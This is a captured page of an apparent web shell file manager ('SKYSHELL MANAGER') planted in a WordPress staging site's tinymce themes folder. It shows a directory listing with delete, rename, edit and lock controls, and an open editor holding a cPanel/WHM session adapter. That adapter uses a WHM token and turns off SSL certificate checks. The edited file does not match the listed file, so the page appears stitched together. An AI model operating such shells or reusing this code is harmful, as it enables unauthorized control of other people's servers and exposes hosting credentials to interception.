📁
SKYSHELL MANAGER
PHP v8.2.31
Create
Create
Path:
root
/
home
/
thevaxnx
/
nativize.com
/
staging
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
wp-links-opml.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: CliAdapter.php
<?php namespace App\Service\CpanelApi\Adapter; use App\Service\NcPlugin\CreateUserSessionException; use App\Service\NcPlugin\PluginException; use App\Service\Whm\TokenStorageInterface; use App\Traits\ClearSensitiveData; use Psr\Log\LoggerInterface; class CliAdapter implements AdapterInterface { use ClearSensitiveData; private array $curl = []; public static ?string $username = null; private array $accessHash = []; private array $server = []; public function __construct( private readonly TokenStorageInterface $tokenStorage, private readonly LoggerInterface $cpanelLogger, ) { } /** * @param $module * @param $func * @param array $args * @return array * @throws CreateUserSessionException * @throws PluginException * @throws \JsonException */ public function call($module, $func, array $args = []): array { if (!isset($this->curl[self::$username], $this->accessHash[self::$username])) { $this->init(); } $url = $this->server[self::$username] . $this->accessHash[self::$username] . '/execute/' . $module . '/' . $func; curl_setopt($this->getCurlHandle(), CURLOPT_URL, $url); curl_setopt($this->getCurlHandle(), CURLOPT_POST, true); if (count($args) > 0) { curl_setopt($this->getCurlHandle(), CURLOPT_POSTFIELDS, $args); } $res_str = curl_exec($this->getCurlHandle()); curl_setopt($this->getCurlHandle(), CURLOPT_POST, false); curl_setopt($this->getCurlHandle(), CURLOPT_POSTFIELDS, []); if ($res_str === false) { throw new PluginException('cURL error during CpApi call: ' . curl_error($this->curl[self::$username]) . ' [' . curl_errno($this->curl[self::$username]) . ']'); } $result = json_decode($res_str, true, 512, JSON_THROW_ON_ERROR); return array('cpanelresult' => array('result' => $result)); } /** * @param $module * @param $func * @param array $args * @return mixed * @throws CreateUserSessionException * @throws PluginException * @throws \JsonException */ public function callApi2($module, $func, array $args = []): mixed { if (!isset($this->curl[self::$username], $this->accessHash[self::$username])) { $this->init(); } $params = array( 'cpanel_jsonapi_user' => self::$username, 'cpanel_jsonapi_module' => $module, 'cpanel_jsonapi_func' => $func, 'cpanel_jsonapi_apiversion' => 2, ); $params = array_merge($args, $params); $url = 'https://localhost:2083' . $this->accessHash[self::$username] . '/json-api/cpanel?' . http_build_query($params); curl_setopt($this->getCurlHandle(), CURLOPT_URL, $url); $res_str = curl_exec($this->getCurlHandle()); if ($res_str === false) { throw new PluginException('cURL error during CpApi call: ' . curl_error($this->getCurlHandle()) . ' [' . curl_errno($this->getCurlHandle()) . ']'); } return json_decode($res_str, true, 512, JSON_THROW_ON_ERROR); } public function setUsername(string $username): void { self::$username = $username; } /** * @throws CreateUserSessionException * @throws PluginException * @throws \JsonException */ private function init(): void { if (!self::$username) { $this->cpanelLogger->error( 'WHM create_user_session failed: username missing', ['whm_endpoint' => 'create_user_session'] ); throw new PluginException('User was not detected for CLI request'); } $token = $this->tokenStorage->get(); $baseCtx = [ 'username' => self::$username, 'whm_endpoint' => 'create_user_session', ] + $this->describeToken($token); if ($token === '') { $this->cpanelLogger->error('WHM create_user_session failed: token missing', $baseCtx); throw new PluginException('WHM token is missing'); } $this->init_curl(); $result = $this->performRequest( 'http://localhost:2086/json-api/create_user_session?api.version=1&user=' . self::$username . '&service=cpaneld', post: true, headers: [sprintf('Authorization: WHM wh:%s', $token)], ); if ($result['body'] === false) { $this->cpanelLogger->error('WHM create_user_session failed: cURL transport error', $baseCtx + [ 'curl_errno' => $result['curl_errno'], 'curl_error' => $result['curl_error'], 'http_code' => $result['http_code'], ]); throw new PluginException(sprintf( 'WHM create_user_session cURL error: %s [%d]', $result['curl_error'], $result['curl_errno'] )); } $resStr = $result['body']; $httpCode = $result['http_code']; try { $session_data = json_decode($resStr, false, 512, JSON_THROW_ON_ERROR); } catch (\JsonException $e) { $this->cpanelLogger->error('WHM create_user_session failed: cannot decode response', $baseCtx + [ 'http_code' => $httpCode, 'response_body' => $this->clearWhmSessionSecrets($resStr), 'json_error' => $e->getMessage(), ]); throw new PluginException('WHM-style authentication failed: cannot decode response', 0, $e); } if ($session_data === null || !isset($session_data->metadata)) { $this->cpanelLogger->error('WHM create_user_session failed: unexpected response', $baseCtx + [ 'http_code' => $httpCode, 'response_body' => $this->clearWhmSessionSecrets($resStr), ]); throw new PluginException('WHM-style authentication failed: unexpected response'); } if ($session_data->metadata->result === 0) { $this->cpanelLogger->error('WHM create_user_session failed: access denied', $baseCtx + [ 'http_code' => $httpCode, 'whm_result' => $session_data->metadata->result ?? null, 'whm_reason' => $session_data->metadata->reason ?? null, 'whm_command' => $session_data->metadata->command ?? null, 'whm_api_version' => $session_data->metadata->version ?? null, ]); throw new CreateUserSessionException( 'WHM-style authentication failed: ' . ($session_data->metadata->reason ?? 'unknown') ); } $this->accessHash[self::$username] = $session_data->data->cp_security_token; if (!preg_match('#^(.+?)/cpsess#', $session_data->data->url ?? '', $matches)) { $this->cpanelLogger->error('WHM create_user_session failed: unparseable session URL', $baseCtx + [ 'http_code' => $httpCode, 'url_sample' => isset($session_data->data->url) ? $this->clearWhmSessionSecrets($session_data->data->url) : null, ]); throw new PluginException('Cannot parse UAPI server from session data'); } $this->server[self::$username] = $matches[1]; // Cookie priming — via same seam so tests can stub it $cookieRes = $this->performRequest($session_data->data->url, post: false, headers: []); if ($cookieRes['body'] === false) { $this->cpanelLogger->warning('WHM create_user_session cookie priming failed', $baseCtx + [ 'curl_errno' => $cookieRes['curl_errno'], 'curl_error' => $cookieRes['curl_error'], 'http_code' => $cookieRes['http_code'], ]); } } protected function performRequest(string $url, bool $post, array $headers): array { $handle = $this->getCurlHandle(); curl_setopt($handle, CURLOPT_URL, $url); curl_setopt($handle, CURLOPT_POST, $post); curl_setopt($handle, CURLOPT_HTTPHEADER, $headers); $body = curl_exec($handle); $result = [ 'body' => $body, 'http_code' => curl_getinfo($handle, CURLINFO_HTTP_CODE), 'curl_errno' => curl_errno($handle), 'curl_error' => curl_error($handle), ]; curl_setopt($handle, CURLOPT_POST, false); curl_setopt($handle, CURLOPT_HTTPHEADER, []); return $result; } protected function getCurlHandle(): \CurlHandle { return $this->curl[self::$username] ?? $this->curl[self::$username] = curl_init(); } protected function init_curl(): void { curl_setopt($this->getCurlHandle(), CURLOPT_RETURNTRANSFER, 1); curl_setopt($this->getCurlHandle(), CURLOPT_COOKIEFILE, '/dev/null'); curl_setopt($this->getCurlHandle(), CURLOPT_COOKIEJAR, '/dev/null'); curl_setopt($this->getCurlHandle(), CURLOPT_SSL_VERIFYPEER, false); curl_setopt($this->getCurlHandle(), CURLOPT_SSL_VERIFYHOST, false); curl_setopt($this->getCurlHandle(), CURLOPT_TIMEOUT, 600); // 10 minutes } public function __destruct() { foreach ($this->curl as $ii => $curl) { curl_close($this->curl[$ii]); } } }
Save